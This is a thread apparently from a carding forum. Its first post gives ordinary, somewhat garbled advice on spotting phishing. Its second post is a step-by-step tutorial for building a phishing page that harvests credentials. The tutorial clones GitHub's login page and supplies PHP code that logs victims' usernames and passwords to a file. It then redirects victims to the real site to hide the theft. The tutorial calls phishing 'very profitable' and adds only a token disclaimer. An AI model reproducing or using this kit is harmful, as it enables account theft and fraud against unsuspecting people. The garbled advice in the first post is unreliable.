What is phishing fraud and 10 tips to avoid it

Carding 4 Carders

Professional
Messages
2,731
Reputation
13
Reaction score
1,367
Points
113
Cyber criminals use different methods of attacks to get your personal data, and phishing fraud is one of them.

Phishing scams are usually fraudulent email messages that come from legitimate businesses (for example, your university, your Internet service provider, your bank, or your online social account).

These messages usually direct you to a fake website or otherwise allow you to divulge sensitive information (such as your password, credit card, or other account updates).

The perpetrators then use this personal information to commit identity theft.

Phishing scams are usually done through emails, websites, and phone calls designed to steal money.

Cybercriminals can do this by installing malicious software on your computer or stealing personal information from your computer.

Cybercriminals also use social engineering to persuade you to install malicious software or pass on your personal information under false pretenses.

They can send you an email, call you on the phone, or convince you to download something from the site.

How do I detect phishing emails?​

Here is an example of what a phishing Scam through an email message might look like:

* Spelling and bad grammar ► Cyber criminals are not known for their grammar and spelling. Professional companies or organizations usually have a staff of copy editors who will prevent a mass email like this from reaching their users. If you notice errors in the email, it may be a scam.

* Beware of email links. ► If you see a link in a suspicious email message, do not click on it. Place the mouse (but do not click) on the link to see if the address matches the link that was entered in the message. In the example below, the link shows the real web address, as shown in the field with a yellow background. The string of cryptic numbers doesn't look like the company's web address. Links may also cause some files to be uploaded. These files are known to spread malware.

* Threats ► did you ever have a threat that your account would be closed if you didn't respond to an email message? The email message shown above is an example of the same trick. Cybercriminals often use threats that threaten your information security.

* Spoofing popular websites or businesses ► Scam Artists use graphics in their email that appear to be connected to legitimate websites, but in reality you end up on fake Scam sites or legitimate-looking pop-UPS. Cybercriminals also use web addresses that resemble the names of well-known companies, but are slightly modified.

Beware of phishing calls too!​


Cybercriminals can call you on the phone and offer to solve problems with your computer or sell a software license.

So don't fall into these types of unsolicited phone calls (also called cold calls) to improve your computer security or to fix your software.

Once they gain trust, cybercriminals can ask for your username and password, or ask you to go to a website to install software that will allow them to gain access to your computer in order to fix it.

Once you do this, your computer and your personal information will be vulnerable.

Reject all unwanted phone calls skeptically.

Do not provide any personal information.

10 tips for eliminating phishing attacks:​

Here are some tips to help you avoid phishing scams so that you don't take the bait and become a victim.

1. Take an active position
Internet links, phone calls, and emails sometimes suffer from intent issues. Many phishing scammers try to trick you into giving up personal information, such as your Bank account and social security numbers. It is very important to be careful when requesting information using one of these methods. For example, if you receive a phone call from someone applying for a job at your Bank, hang up and call the number on the back of your debit card.

2. Install the antivirus software
The best antivirus programs like Bitdefender and Kaspersky have anti-phishing functionality that protects your identity. Install the software on all your devices and update it.

3. Avoid pop-UPS
Many phishing scammers use pop-up screens that ask for information such as passwords and zip codes. To avoid identity theft, avoid entering personal data in these pop-up Windows.

4. Filter your emails
Phishing scams can include email messages that mimic patterns from legitimate or trusted sources. To protect yourself, look for telltale signs of phishing emails, including domains that don't match the intended source and suspicious threats that are trying to scare you, so you can take specific action.

5. Application Compliance
Keep receipts for every purchase you make, both offline and offline. Then compare them with your Bank and credit card statements, if they come in every month, for example. If you find any suspicious charges, report them to your financial institution immediately.

6. Save your personal data from correspondence
Don't send your Bank account, social security number, or credit card information by email. If a cyber fraudster hacks into your email account, he or she will have unlimited access to all the emails you send. In addition, it is recommended that you regularly change your email password and use unique passwords for each account, as well as use password managers.

7. Enter fake passwords
To verify the legitimacy of a website, first enter your username and fake password. If the site doesn't list the password as incorrect, you know that you've landed on a fraudulent site and the creators want to capture your real data. Perform this step only once, as some organizations block accounts after too many failed login attempts.

8. Practice a friend-only policy (friends only)
When you receive links, attachments, or other suspicious objects, avoid them if you don't recognize the sender. Since email accounts are sometimes targeted by hackers, you can ask the sender about the legitimacy of a suspicious email before clicking on links or downloading attached files.

9. Update your browser
Internet browsers depend on regular updates to protect against the latest known threats. When your browser prompts you to update, do not disable it, as this reduces the security of Internet surfing.

10. Do some research
When an unknown number appears on your phone, run a quick Google search to determine its origin. If someone else received a similar phone call, they could post it online. The same goes for text-based search and phishing emails.
 

Carding

Professional
Messages
2,829
Reputation
17
Reaction score
2,087
Points
113

How phishing links are created.​


Hello everyone! This article shows you how you can create phishing attacks from any site. Who does not know, phishing is a clone of some page with authorization, for example, github, VK, FB or mail.

Phishing theory
Let's move a little to theory, #phishing is a very profitable topic, in fact, here you just need to think over a scheme - how to confuse people and so that they go to your fake site and enter their data. Social engineering.

Let's get down to the first stage
So, to begin with, we are looking for authorization on the site we need, I will cite a github as an example, this link turns out - https://github.com/login

4hzDOcwheX8.jpg


For RIP (cloning) we will use the service - WebParse

We register temporary mail Temp Mail, then we register on WebParse, and in the field for the domain we copy the required page:

JO8SJYOBilI.jpg


After cloning, you will receive an email with a link to the archive.

Second phase
Downloaded, unpacked. Now we need to implement saving the entered passwords. The action parameter is responsible for this , we need to change it:

cdZhx-zBOxo.jpg


Change it to auth.php

On the screen, the parameter has already been changed.

Now, in the folder with the html file, create auth.php and the base folder :

x_ar3j_hBjM.jpg


Open auth.php in a text editor (I'm using NotePad ++.) And add the following code:

Code:
<? php
file_put_contents ('base / ds_logs.txt', "Username:". $ _ POST ['login']. "Password:". $ _ POST ['password']. '\ n', FILE_APPEND);
?>
file_put_contents is a function for writing data to a file, base / ds_logs.txt is the path to the file where passwords are saved, FILE_APPEND indicates that the file does not need to be rewritten every time, and new data is added to the end.

Now we upload the whole thing to the hosting, and give the rights 777 to the base folder.

Go to the # site and enter the data, they will be saved by the link: yourdomain.com / base / ds_logs.txt

The folder name and the name of the .txt file can be changed in auth.php

Passwords are saved, but after trying to log in, nothing happens, so add the following to auth.php:

Code:
header ('Location: https://github.com/session' );

After entering the username and password, the victim will move to the link github.com/session, meanwhile, we have:

FHFPcBMZcpo.jpg


for the sake of completeness, it was possible to create a simple admin panel with authorization, blackjack and you know who.

The article is for informational purposes only and does not call for illegal actions!
 
Top